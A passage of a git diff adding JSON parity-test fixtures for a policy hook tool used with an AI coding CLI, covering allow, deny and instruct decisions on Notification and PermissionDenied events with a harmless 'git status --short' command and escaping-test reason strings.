"cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/Notification/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/Notification/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..b32a8694 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Notification/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/Notification/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/Notification/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..ceaad469 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Notification/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/Notification/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/Notification/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..712127cc --- /dev/null +++ b/__tests__/parity/fixtures/pi/Notification/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/Notification/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/Notification/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..7a9eaed0 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Notification/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/Notification/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/Notification/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..f58f233b --- /dev/null +++ b/__tests__/parity/fixtures/pi/Notification/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/Notification/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/Notification/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..2b5d7f37 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Notification/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/Notification/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/Notification/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..b973ce67 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Notification/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/Notification/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/Notification/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..c9408d83 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Notification/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/Notification/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/Notification/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..901a1495 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Notification/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/Notification/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/Notification/deny__tool-present__one-policy.json new file mode 100644 index 00000000..8388f4d9 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Notification/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/Notification/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/Notification/deny__tool-present__two-policies.json new file mode 100644 index 00000000..d2f516a9 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Notification/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/Notification/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/Notification/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..561467fa --- /dev/null +++ b/__tests__/parity/fixtures/pi/Notification/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/Notification/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/Notification/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..78479f76 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Notification/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/Notification/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/Notification/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..a3c2ac27 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Notification/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/Notification/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/Notification/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..6563c218 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Notification/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PermissionDenied/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/PermissionDenied/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..38b1dab1 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PermissionDenied/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PermissionDenied/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/PermissionDenied/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..f778500d --- /dev/null +++ b/__tests__/parity/fixtures/pi/PermissionDenied/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PermissionDenied/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/PermissionDenied/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..16ef95e8 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PermissionDenied/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PermissionDenied/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/PermissionDenied/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..5f45c269 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PermissionDenied/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PermissionDenied/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/PermissionDenied/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..528814ec --- /dev/null +++ b/__tests__/parity/fixtures/pi/PermissionDenied/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + 